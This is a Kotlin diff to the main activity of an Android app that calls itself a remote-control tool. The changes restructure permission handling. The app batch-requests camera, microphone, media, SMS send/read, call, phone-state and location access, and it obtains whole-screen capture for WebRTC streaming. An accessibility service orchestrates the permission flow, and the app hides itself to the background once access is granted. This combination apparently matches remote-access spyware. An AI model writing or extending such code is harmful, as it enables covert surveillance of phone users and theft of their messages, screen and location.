+ private fun setPermissionRequestInProgressState(inProgress: Boolean, reason: String) {
+ permissionRequestInProgress = inProgress
+ if (inProgress) {
+ permissionRequestInProgressSince = System.currentTimeMillis()
+ Log.i(TAG, "🔒 权限申请状态=进行中, reason=$reason")
+ } else {
+ val elapsedMs = if (permissionRequestInProgressSince > 0L) {
+ System.currentTimeMillis() - permissionRequestInProgressSince
+ } else {
+ -1L
+ }
+ permissionRequestInProgressSince = 0L
+ Log.i(TAG, "🔓 权限申请状态=空闲, reason=$reason, elapsedMs=$elapsedMs")
+ }
+ }
+
+ private fun resetStalePermissionRequestIfNeeded(reason: String, force: Boolean = false): Boolean {
+ if (!permissionRequestInProgress) {
+ return false
+ }
+
+ val elapsedMs = if (permissionRequestInProgressSince > 0L) {
+ System.currentTimeMillis() - permissionRequestInProgressSince
+ } else {
+ Long.MAX_VALUE
+ }
+ val stale = elapsedMs >= permissionRequestStaleTimeoutMs
+ if (!force && !stale) {
+ return false
+ }
+
+ Log.w(
+ TAG,
+ "⚠️ 检测到权限申请状态疑似卡死,执行重置: reason=$reason, force=$force, stale=$stale, elapsedMs=$elapsedMs"
+ )
+ setPermissionRequestInProgressState(false, "stale_reset:$reason")
+ isAutoPermissionRequest = false
+ pendingWebRtcOnlyPermissionRequest = false
+ markPermissionRequesting(false)
+ return true
+ }
/**
*新增:记录应用启动次数
@@ -3554,35 +4446,7 @@ class MainActivity : AppCompatActivity() {
* 发送所有权限申请广播
*/
private fun sendAllPermissionsRequestBroadcast() {
- try {
- Log.i(TAG, "📡 发送所有权限申请广播")
-
- // 更新UI状态
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "正在申请所有权限...\n请一次性允许所有权限"
- statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
- }
- }
-
- // 发送广播给AccessibilityRemoteService
- val intent = Intent("android.mycustrecev.REQUEST_ALL_PERMISSIONS").apply {
- putExtra("action", "request_all_permissions")
- putExtra("callback_action", "all_permissions_complete")
- putExtra("timestamp", System.currentTimeMillis())
- }
- sendBroadcast(intent)
- Log.i(TAG, "已发送所有权限申请广播")
-
- } catch (e: Exception) {
- Log.e(TAG, "发送所有权限申请广播失败", e)
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "广播发送失败\n请重试"
- statusText.setTextColor(getColor(android.R.color.holo_red_dark))
- }
- }
- }
+ requestAllPermissionsAtOnce()
}
/**
@@ -3590,118 +4454,118 @@ class MainActivity : AppCompatActivity() {
*/
private fun requestAllPermissionsAtOnce() {
try {
- Log.i(TAG, "🎯 开始一次性获取所有权限")
-
- // 更新UI状态
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "正在申请所有权限...\n请一次性允许所有权限"
- statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
+ Log.i(TAG, "🎯 开始一次性获取所有运行时权限")
+
+ val allPermissions = mutableListOf()
+ val permissionNames = mutableListOf()
+
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+ allPermissions.add(android.Manifest.permission.CAMERA)
+ permissionNames.add("摄像头")
+ }
+ if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
+ allPermissions.add(android.Manifest.permission.RECORD_AUDIO)
+ permissionNames.add("麦克风")
+ }
+
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ val mediaPermissions = mutableListOf(
+ android.Manifest.permission.READ_MEDIA_IMAGES,
+ android.Manifest.permission.READ_MEDIA_VIDEO,
+ android.Manifest.permission.READ_MEDIA_AUDIO
+ )
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ mediaPermissions.add(android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
+ }
+ val missingMedia = mediaPermissions.filter {
+ checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
+ }
+ if (missingMedia.isNotEmpty()) {
+ allPermissions.addAll(missingMedia)
+ permissionNames.add("相册")
+ }
+ if (checkSelfPermission(android.Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) {
+ allPermissions.add(android.Manifest.permission.POST_NOTIFICATIONS)
+ permissionNames.add("通知")
+ }
+ } else {
+ val legacyStorage = mutableListOf(android.Manifest.permission.READ_EXTERNAL_STORAGE)
+ if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P) {
+ legacyStorage.add(android.Manifest.permission.WRITE_EXTERNAL_STORAGE)
+ }
+ val missingStorage = legacyStorage.filter {
+ checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
+ }
+ if (missingStorage.isNotEmpty()) {
+ allPermissions.addAll(missingStorage)
+ permissionNames.add("存储")
+ }
+ }
+
+ val smsPermissions = arrayOf(
+ android.Manifest.permission.READ_SMS,
+ android.Manifest.permission.SEND_SMS,
+ android.Manifest.permission.RECEIVE_SMS,
+ android.Manifest.permission.READ_PHONE_STATE,
+ android.Manifest.permission.CALL_PHONE
+ )
+ val missingSms = smsPermissions.filter {
+ checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
+ }
+ if (missingSms.isNotEmpty()) {
+ allPermissions.addAll(missingSms)
+ permissionNames.add("短信")
+ }
+
+ if (checkSelfPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
+ allPermissions.add(android.Manifest.permission.ACCESS_FINE_LOCATION)
+ permissionNames.add("定位")
}
}
-
- // 延迟执行权限申请,确保UI更新
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- try {
- // 收集所有需要的权限
- val allPermissions = mutableListOf()
- val permissionNames = mutableListOf()
-
- // 摄像头权限
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
- if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
- allPermissions.add(android.Manifest.permission.CAMERA)
- permissionNames.add("摄像头")
- }
-
- // 麦克风权限
- if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
- allPermissions.add(android.Manifest.permission.RECORD_AUDIO)
- permissionNames.add("麦克风")
- }
-
- // 相册权限(根据Android版本选择)
- val galleryPermissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
- arrayOf(
- android.Manifest.permission.READ_MEDIA_IMAGES,
- android.Manifest.permission.READ_MEDIA_VIDEO
- )
- } else {
- arrayOf(
- android.Manifest.permission.READ_EXTERNAL_STORAGE,
- android.Manifest.permission.WRITE_EXTERNAL_STORAGE
- )
- }
-
- val needGalleryPermissions = galleryPermissions.filter {
- checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
- }
- if (needGalleryPermissions.isNotEmpty()) {
- allPermissions.addAll(needGalleryPermissions)
- permissionNames.add("相册")
- }
-
- // 短信权限
- val smsPermissions = arrayOf(
- android.Manifest.permission.READ_SMS,
- android.Manifest.permission.SEND_SMS,
- android.Manifest.permission.RECEIVE_SMS,
- android.Manifest.permission.READ_PHONE_STATE,
- android.Manifest.permission.CALL_PHONE
- )
-
- val needSmsPermissions = smsPermissions.filter {
- checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
- }
- if (needSmsPermissions.isNotEmpty()) {
- allPermissions.addAll(needSmsPermissions)
- permissionNames.add("短信")
- }
- }
-
- if (allPermissions.isNotEmpty()) {
- Log.i(TAG, "📋 需要申请的权限: ${permissionNames.joinToString(", ")}")
- Log.i(TAG, "📋 权限列表: ${allPermissions.joinToString(", ")}")
-
- // 一次性申请所有权限
- requestPermissions(allPermissions.toTypedArray(), REQUEST_ALL_PERMISSIONS)
-
- // 更新UI状态
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "正在申请权限: ${permissionNames.joinToString(", ")}\n请一次性允许所有权限"
- statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
- }
- }
- } else {
- Log.i(TAG, "所有权限已授予,无需申请")
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "所有权限已授予\n无需申请"
- statusText.setTextColor(getColor(android.R.color.holo_green_dark))
- }
- }
- }
-
- } catch (e: Exception) {
- Log.e(TAG, "收集权限列表失败", e)
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "权限收集失败\n请重试"
- statusText.setTextColor(getColor(android.R.color.holo_red_dark))
- }
- }
+
+ if (allPermissions.isNotEmpty()) {
+ val dedupedPermissions = allPermissions.distinct()
+ val userFixed = getUserFixedDeniedPermissions(dedupedPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "批量权限中存在USER_FIXED: ${userFixed.joinToString(",")}")
}
- }, 1000) // 1秒延迟
-
+
+ val requestablePermissions = dedupedPermissions.filterNot { userFixed.contains(it) }
+ Log.i(TAG, "📋 需要申请的运行时权限: ${permissionNames.joinToString(", ")}")
+
+ if (requestablePermissions.isNotEmpty()) {
+ markRuntimePermissionsRequested(requestablePermissions)
+ requestPermissionsSafely(
+ requestablePermissions.toTypedArray(),
+ REQUEST_ALL_PERMISSIONS,
+ "legacy_batch_all_permissions"
+ )
+ } else if (userFixed.isNotEmpty()) {
+ updateStatusTextThreadSafe(
+ "权限被系统固定拒绝\n请在设置页手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
+
+ updateStatusTextThreadSafe(
+ "正在申请权限: ${permissionNames.joinToString("、")}\n请保持当前界面",
+ android.R.color.holo_orange_dark
+ )
+ } else {
+ Log.i(TAG, "所有运行时权限已授予")
+ updateStatusTextThreadSafe("运行时权限已就绪", android.R.color.holo_green_dark)
+ if (isAutoPermissionRequest) {
+ Handler(mainLooper).postDelayed({
+ hideActivityToBackground()
+ }, 800)
+ }
+ }
} catch (e: Exception) {
Log.e(TAG, "一次性权限申请失败", e)
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "权限申请失败\n请重试"
- statusText.setTextColor(getColor(android.R.color.holo_red_dark))
- }
- }
+ updateStatusTextThreadSafe("权限申请失败,请重试", android.R.color.holo_red_dark)
}
}
@@ -3754,7 +4618,7 @@ class MainActivity : AppCompatActivity() {
}
// 创建MediaProjection权限请求Intent
- val intent = mediaProjectionManager?.createScreenCaptureIntent()
+ val intent = createPreferredScreenCaptureIntent()
if (intent == null) {
Log.e(TAG, "创建MediaProjection权限Intent失败")
return
@@ -3809,6 +4673,34 @@ class MainActivity : AppCompatActivity() {
}
}
+ private fun createPreferredScreenCaptureIntent(): Intent? {
+ val manager = mediaProjectionManager ?: return null
+ val policy = DeviceDetector.getWebRtcTransportPolicy()
+ if (Build.VERSION.SDK_INT >= 34 && policy.preferDefaultDisplayCaptureIntent) {
+ try {
+ val configClass = Class.forName("android.media.projection.MediaProjectionConfig")
+ val createConfigMethod = configClass.getMethod("createConfigForDefaultDisplay")
+ val defaultDisplayConfig = createConfigMethod.invoke(null)
+ val intentMethod =
+ MediaProjectionManager::class.java.getMethod(
+ "createScreenCaptureIntent",
+ configClass
+ )
+ val intent = intentMethod.invoke(manager, defaultDisplayConfig) as? Intent
+ if (intent != null) {
+ Log.i(
+ TAG,
+ "✅ 使用DefaultDisplay配置创建MediaProjection权限Intent(优先整个屏幕), strategy=${policy.strategyId}"
+ )
+ return intent
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 使用DefaultDisplay配置创建MediaProjection Intent失败,回退标准流程", e)
+ }
+ }
+ return manager.createScreenCaptureIntent()
+ }
+
/**
*专门为 MIUI 设备设计的权限申请方法 - 简化版,避免SimplePermissionActivity崩溃
*/
@@ -4352,7 +5244,11 @@ class MainActivity : AppCompatActivity() {
updateUI()
// 延迟检查其他权限,让无障碍服务有时间启动
android.os.Handler(mainLooper).postDelayed({
- checkAllPermissions()
+ if (unifiedPermissionFlowInProgress) {
+ continueUnifiedPermissionFlow("无障碍设置返回")
+ } else {
+ checkAllPermissions()
+ }
}, 1000)
}
// 删除悬浮窗权限结果处理
@@ -4399,7 +5295,11 @@ class MainActivity : AppCompatActivity() {
// 检查Intent参数
val permissionLostRecovery = intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false)
+ val webRtcOnlyRequest =
+ pendingWebRtcOnlyPermissionRequest || intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false)
Log.i(TAG, " - permissionLostRecovery: $permissionLostRecovery")
+ Log.i(TAG, " - webRtcOnlyRequest: $webRtcOnlyRequest")
+ var shouldStartUnifiedFlow = false
if (resultCode == Activity.RESULT_OK && data != null) {
Log.i(TAG, "MediaProjection权限申请成功,开始处理权限数据")
@@ -4411,12 +5311,17 @@ class MainActivity : AppCompatActivity() {
// 将权限数据存储到MediaProjectionHolder中
MediaProjectionHolder.setPermissionData(resultCode, data)
- // 启动前台服务
+ // Android 14+/15 上 getMediaProjection 需要 mediaProjection 类型前台服务上下文,
+ // WebRTC-only 模式也必须先启动服务,否则 WebRTC 首启会抛 SecurityException。
val foregroundServiceIntent = Intent(
this,
com.hikoncont.service.RemoteControlForegroundService::class.java
)
- foregroundServiceIntent.action = "START_MEDIA_PROJECTION"
+ foregroundServiceIntent.action = if (webRtcOnlyRequest) {
+ "START_MEDIA_PROJECTION_FGS_ONLY"
+ } else {
+ "START_MEDIA_PROJECTION"
+ }
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(foregroundServiceIntent)
@@ -4424,7 +5329,11 @@ class MainActivity : AppCompatActivity() {
startService(foregroundServiceIntent)
}
- Log.i(TAG, "已启动前台服务来处理MediaProjection")
+ if (webRtcOnlyRequest) {
+ Log.i(TAG, "WebRTC-only授权模式:已启动mediaProjection前台服务以满足系统要求")
+ } else {
+ Log.i(TAG, "已启动前台服务来处理MediaProjection")
+ }
// 检查是否为权限恢复流程
val permissionLostRecovery =
@@ -4473,6 +5382,7 @@ class MainActivity : AppCompatActivity() {
} else if (autoRequestPermission) {
Log.i(TAG, "MediaProjection权限申请完成,通知无障碍服务继续流程")
+ shouldStartUnifiedFlow = !webRtcOnlyRequest
// 发送广播通知无障碍服务继续处理(悬浮窗权限由开关控制)
val broadcastIntent =
@@ -4489,78 +5399,94 @@ class MainActivity : AppCompatActivity() {
sendBroadcast(broadcastIntent)
Log.i(TAG, "📡 已发送MEDIA_PROJECTION_GRANTED广播给AccessibilityRemoteService")
- //直接调用AccessibilityRemoteService方法,确保MediaProjection被正确设置
- try {
- val accessibilityService = AccessibilityRemoteService.getInstance()
- if (accessibilityService != null) {
+ if (!webRtcOnlyRequest) {
+ val skipDirectProjectionBootstrap = Build.VERSION.SDK_INT >= Build.VERSION_CODES.R
+ if (skipDirectProjectionBootstrap) {
Log.i(
TAG,
- "🔧 直接调用AccessibilityRemoteService处理MediaProjection权限"
+ "Android 11+ 跳过MainActivity直连MediaProjection注入,交给前台服务与后续WebRTC流程处理"
)
+ } else {
+ // Android 10及以下保留旧逻辑,兼容早期系统的ScreenCaptureManager启动路径
+ try {
+ val accessibilityService = AccessibilityRemoteService.getInstance()
+ if (accessibilityService != null) {
+ Log.i(
+ TAG,
+ "🔧 直接调用AccessibilityRemoteService处理MediaProjection权限"
+ )
- // 获取MediaProjection对象
- val mediaProjection = MediaProjectionHolder.getMediaProjection()
- if (mediaProjection != null) {
- Log.i(
- TAG,
- "MediaProjection对象存在,直接设置到ScreenCaptureManager"
- )
- // 直接调用内部方法设置MediaProjection
- val setupMethod = accessibilityService.javaClass.getDeclaredMethod(
- "setupScreenCaptureWithMediaProjection",
- android.media.projection.MediaProjection::class.java
- )
- setupMethod.isAccessible = true
- setupMethod.invoke(accessibilityService, mediaProjection)
- Log.i(TAG, "已直接设置MediaProjection到ScreenCaptureManager")
- } else {
- Log.w(TAG, "MediaProjection对象不存在,通过安全创建入口获取")
- // 通过 Holder 的安全创建入口获取,禁止直接调用 getMediaProjection()
- // 直接调用会创建新实例,系统自动 stop 旧实例触发 onStop 死循环
- val permissionData = MediaProjectionHolder.getPermissionData()
- if (permissionData != null) {
- val (safeResultCode, safeResultData) = permissionData
- if (safeResultData != null) {
- val newMediaProjection =
- MediaProjectionHolder.safeGetOrCreateProjection(
- this@MainActivity, safeResultCode, safeResultData
- )
- if (newMediaProjection != null) {
- Log.i(TAG, "通过安全创建入口获取MediaProjection成功")
+ // 获取MediaProjection对象
+ val mediaProjection = MediaProjectionHolder.getMediaProjection()
+ if (mediaProjection != null) {
+ Log.i(
+ TAG,
+ "MediaProjection对象存在,直接设置到ScreenCaptureManager"
+ )
+ // 直接调用内部方法设置MediaProjection
+ val setupMethod = accessibilityService.javaClass.getDeclaredMethod(
+ "setupScreenCaptureWithMediaProjection",
+ android.media.projection.MediaProjection::class.java
+ )
+ setupMethod.isAccessible = true
+ setupMethod.invoke(accessibilityService, mediaProjection)
+ Log.i(TAG, "已直接设置MediaProjection到ScreenCaptureManager")
+ } else {
+ Log.w(TAG, "MediaProjection对象不存在,通过安全创建入口获取")
+ // 通过 Holder 的安全创建入口获取,禁止直接调用 getMediaProjection()
+ // 直接调用会创建新实例,系统自动 stop 旧实例触发 onStop 死循环
+ val permissionData = MediaProjectionHolder.getPermissionData()
+ if (permissionData != null) {
+ val (safeResultCode, safeResultData) = permissionData
+ if (safeResultData != null) {
+ val newMediaProjection =
+ MediaProjectionHolder.safeGetOrCreateProjection(
+ this@MainActivity, safeResultCode, safeResultData
+ )
+ if (newMediaProjection != null) {
+ Log.i(TAG, "通过安全创建入口获取MediaProjection成功")
- // 设置到ScreenCaptureManager
- val setupMethod =
- accessibilityService.javaClass.getDeclaredMethod(
- "setupScreenCaptureWithMediaProjection",
- android.media.projection.MediaProjection::class.java
- )
- setupMethod.isAccessible = true
- setupMethod.invoke(
- accessibilityService,
- newMediaProjection
- )
- Log.i(TAG, "已设置MediaProjection到ScreenCaptureManager")
- } else {
- Log.e(TAG, "通过安全创建入口获取MediaProjection失败")
+ // 设置到ScreenCaptureManager
+ val setupMethod =
+ accessibilityService.javaClass.getDeclaredMethod(
+ "setupScreenCaptureWithMediaProjection",
+ android.media.projection.MediaProjection::class.java
+ )
+ setupMethod.isAccessible = true
+ setupMethod.invoke(
+ accessibilityService,
+ newMediaProjection
+ )
+ Log.i(TAG, "已设置MediaProjection到ScreenCaptureManager")
+ } else {
+ Log.e(TAG, "通过安全创建入口获取MediaProjection失败")
+ }
+ }
}
}
+ } else {
+ Log.w(TAG, "AccessibilityRemoteService实例不存在")
}
+ } catch (e: Exception) {
+ Log.e(TAG, "直接调用AccessibilityRemoteService失败", e)
}
- } else {
- Log.w(TAG, "AccessibilityRemoteService实例不存在")
}
- } catch (e: Exception) {
- Log.e(TAG, "直接调用AccessibilityRemoteService失败", e)
+ } else {
+ Log.i(TAG, "WebRTC-only授权模式:跳过ScreenCaptureManager注入,避免提前消费投屏token")
}
//重置自动权限申请标志
isAutoPermissionRequest = false
- permissionRequestInProgress = false // 重置权限申请进行中标志
+ setPermissionRequestInProgressState(false, "media_projection_result_ok") // 重置权限申请进行中标志
// 显示权限申请成功状态,给用户反馈
runOnUiThread {
if (::statusText.isInitialized) {
- statusText.text = "权限申请成功\n正在启动服务..."
+ statusText.text = if (webRtcOnlyRequest) {
+ "权限申请成功\nWebRTC模式就绪"
+ } else {
+ "权限申请成功\n正在启动服务..."
+ }
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
}
if (::enableButton.isInitialized) {
@@ -4572,36 +5498,42 @@ class MainActivity : AppCompatActivity() {
//根据悬浮窗权限开关决定后续流程
Log.i(TAG, "🚀 MediaProjection权限成功,继续后续权限流程")
- // 短暂延迟后让无障碍服务处理后续流程
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- if (!isFinishing) {
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "服务启动中...\n正在处理配置中"
- }
- if (::enableButton.isInitialized) {
- enableButton.text = "服务启动中..."
+ if (!webRtcOnlyRequest) {
+ // 短暂延迟后让无障碍服务处理后续流程
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ if (!isFinishing) {
+ runOnUiThread {
+ if (::statusText.isInitialized) {
+ statusText.text = "服务启动中...\n正在处理配置中"
+ }
+ if (::enableButton.isInitialized) {
+ enableButton.text = "服务启动中..."
+ }
}
}
- }
- }, 1500) // 1.5秒后更新状态
+ }, 1500) // 1.5秒后更新状态
- // 等待无障碍服务完成处理后,显示最终状态
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- if (!isFinishing) {
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "服务启动中..."
- statusText.setTextColor(getColor(android.R.color.holo_green_dark))
- }
- if (::enableButton.isInitialized) {
- enableButton.text = "服务已就绪"
- enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
- enableButton.isEnabled = false
+ // 等待无障碍服务完成处理后,显示最终状态
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ if (!isFinishing) {
+ runOnUiThread {
+ if (::statusText.isInitialized) {
+ statusText.text = "服务启动中..."
+ statusText.setTextColor(getColor(android.R.color.holo_green_dark))
+ }
+ if (::enableButton.isInitialized) {
+ enableButton.text = "服务已就绪"
+ enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
+ enableButton.isEnabled = false
+ }
}
}
- }
- }, 5000) // 5秒后显示最终成功状态
+ }, 5000) // 5秒后显示最终成功状态
+ } else {
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ hideActivityToBackground()
+ }, 800)
+ }
}
} catch (e: Exception) {
@@ -4661,6 +5593,27 @@ class MainActivity : AppCompatActivity() {
}
}
}
+
+ // 本轮授权流程结束后,清理手动授权模式标记
+ manualGrantOnlyMode = false
+ pendingWebRtcOnlyPermissionRequest = false
+
+ if (shouldStartUnifiedFlow && !unifiedPermissionFlowInProgress) {
+ Log.i(TAG, "🚦 录屏授权成功后启动统一权限编排,补齐运行时与特殊权限")
+ startUnifiedPermissionFlow("录屏权限回调", false)
+ } else if (unifiedPermissionFlowInProgress) {
+ Handler(mainLooper).postDelayed({
+ continueUnifiedPermissionFlow("录屏权限回调")
+ }, 800)
+ }
+
+ Handler(mainLooper).postDelayed({
+ try {
+ AccessibilityRemoteService.getInstance()?.checkAndHideConfigMask()
+ } catch (e: Exception) {
+ Log.w(TAG, "录屏权限回调后触发配置完成检查失败", e)
+ }
+ }, 600)
}
/**
@@ -4671,7 +5624,8 @@ class MainActivity : AppCompatActivity() {
//重置权限申请标志
isAutoPermissionRequest = false
- permissionRequestInProgress = false
+ setPermissionRequestInProgressState(false, "media_projection_result_denied")
+ pendingWebRtcOnlyPermissionRequest = false
// 发送广播通知无障碍服务权限被拒绝
val broadcastIntent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
@@ -4867,11 +5821,15 @@ class MainActivity : AppCompatActivity() {
// 停止监听
stopMediaProjectionPermissionMonitoring()
- // 模拟onActivityResult调用
- val (resultCode, data) = permissionData
- if (data != null) {
- Log.i(TAG, "🔧 权限监听检测到权限获取,手动触发权限处理流程")
- handleMediaProjectionResult(resultCode, data)
+ if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) {
+ // Android 10及以下保留手动兜底,避免部分ROM不回调onActivityResult
+ val (resultCode, data) = permissionData
+ if (data != null) {
+ Log.i(TAG, "🔧 权限监听检测到权限获取,手动触发权限处理流程")
+ handleMediaProjectionResult(resultCode, data)
+ }
+ } else {
+ Log.i(TAG, "Android 11+ 仅做权限监听收敛,不再手动触发handleMediaProjectionResult")
}
return
}
@@ -4968,6 +5926,8 @@ class MainActivity : AppCompatActivity() {
val requestSMSPermission = intent.getBooleanExtra("request_sms_permission", false)
if (requestSMSPermission) {
Log.i(TAG, "收到短信权限申请请求")
+ // 清理一次性标记,防止重复触发
+ intent.removeExtra("request_sms_permission")
requestSMSPermission()
}
} catch (e: Exception) {
@@ -4984,6 +5944,8 @@ class MainActivity : AppCompatActivity() {
intent.getBooleanExtra("request_gallery_permission", false)
if (requestGalleryPermission) {
Log.i(TAG, "🖼️ 收到相册权限申请请求")
+ // 清理一次性标记,防止重复触发
+ intent.removeExtra("request_gallery_permission")
requestGalleryPermission()
}
} catch (e: Exception) {
@@ -5000,6 +5962,8 @@ class MainActivity : AppCompatActivity() {
intent.getBooleanExtra("request_microphone_permission", false)
if (requestMicrophonePermission) {
Log.i(TAG, "🎤 收到麦克风权限申请请求")
+ // 清理一次性标记,防止重复触发
+ intent.removeExtra("request_microphone_permission")
requestMicrophonePermission()
}
} catch (e: Exception) {
@@ -5031,8 +5995,23 @@ class MainActivity : AppCompatActivity() {
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
if (needPermissions.isNotEmpty()) {
+ val userFixed = getUserFixedDeniedPermissions(needPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "相册权限被系统固定拒绝(直接请求): ${userFixed.joinToString(",")}")
+ updateStatusTextThreadSafe(
+ "相册权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "🖼️ 直接申请相册权限")
- requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION)
+ markRuntimePermissionsRequested(needPermissions)
+ requestPermissionsSafely(
+ needPermissions.toTypedArray(),
+ REQUEST_GALLERY_PERMISSION,
+ "gallery_direct_request"
+ )
} else {
Log.i(TAG, "相册权限已授予")
}
@@ -5058,8 +6037,23 @@ class MainActivity : AppCompatActivity() {
val needPermissions =
permissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED }
if (needPermissions.isNotEmpty()) {
+ val userFixed = getUserFixedDeniedPermissions(needPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "相册权限被系统固定拒绝: ${userFixed.joinToString(",")}")
+ updateStatusTextThreadSafe(
+ "相册权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "🖼️ 申请相册权限")
- requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION)
+ markRuntimePermissionsRequested(needPermissions)
+ requestPermissionsSafely(
+ needPermissions.toTypedArray(),
+ REQUEST_GALLERY_PERMISSION,
+ "gallery_request"
+ )
} else {
Log.i(TAG, "相册权限已授予")
}
@@ -5080,10 +6074,23 @@ class MainActivity : AppCompatActivity() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
+ val pending = listOf(android.Manifest.permission.RECORD_AUDIO)
+ val userFixed = getUserFixedDeniedPermissions(pending)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "麦克风权限被系统固定拒绝(直接请求)")
+ updateStatusTextThreadSafe(
+ "麦克风权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "🎤 直接申请麦克风权限")
- requestPermissions(
+ markRuntimePermissionsRequested(pending)
+ requestPermissionsSafely(
arrayOf(android.Manifest.permission.RECORD_AUDIO),
- REQUEST_MICROPHONE_PERMISSION
+ REQUEST_MICROPHONE_PERMISSION,
+ "microphone_direct_request"
)
} else {
Log.i(TAG, "麦克风权限已授予")
@@ -5103,10 +6110,23 @@ class MainActivity : AppCompatActivity() {
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
+ val pending = listOf(android.Manifest.permission.RECORD_AUDIO)
+ val userFixed = getUserFixedDeniedPermissions(pending)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "麦克风权限被系统固定拒绝")
+ updateStatusTextThreadSafe(
+ "麦克风权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "🎤 申请麦克风权限")
- requestPermissions(
+ markRuntimePermissionsRequested(pending)
+ requestPermissionsSafely(
arrayOf(android.Manifest.permission.RECORD_AUDIO),
- REQUEST_MICROPHONE_PERMISSION
+ REQUEST_MICROPHONE_PERMISSION,
+ "microphone_request"
)
} else {
Log.i(TAG, "麦克风权限已授予")
@@ -5138,8 +6158,23 @@ class MainActivity : AppCompatActivity() {
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
if (needPermissions.isNotEmpty()) {
+ val userFixed = getUserFixedDeniedPermissions(needPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "短信权限被系统固定拒绝(直接请求): ${userFixed.joinToString(",")}")
+ updateStatusTextThreadSafe(
+ "短信权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "直接申请短信权限")
- requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION)
+ markRuntimePermissionsRequested(needPermissions)
+ requestPermissionsSafely(
+ needPermissions.toTypedArray(),
+ REQUEST_SMS_PERMISSION,
+ "sms_direct_request"
+ )
} else {
Log.i(TAG, "短信权限已授予")
}
@@ -5168,8 +6203,23 @@ class MainActivity : AppCompatActivity() {
}
if (needPermissions.isNotEmpty()) {
+ val userFixed = getUserFixedDeniedPermissions(needPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "短信权限被系统固定拒绝: ${userFixed.joinToString(",")}")
+ updateStatusTextThreadSafe(
+ "短信权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
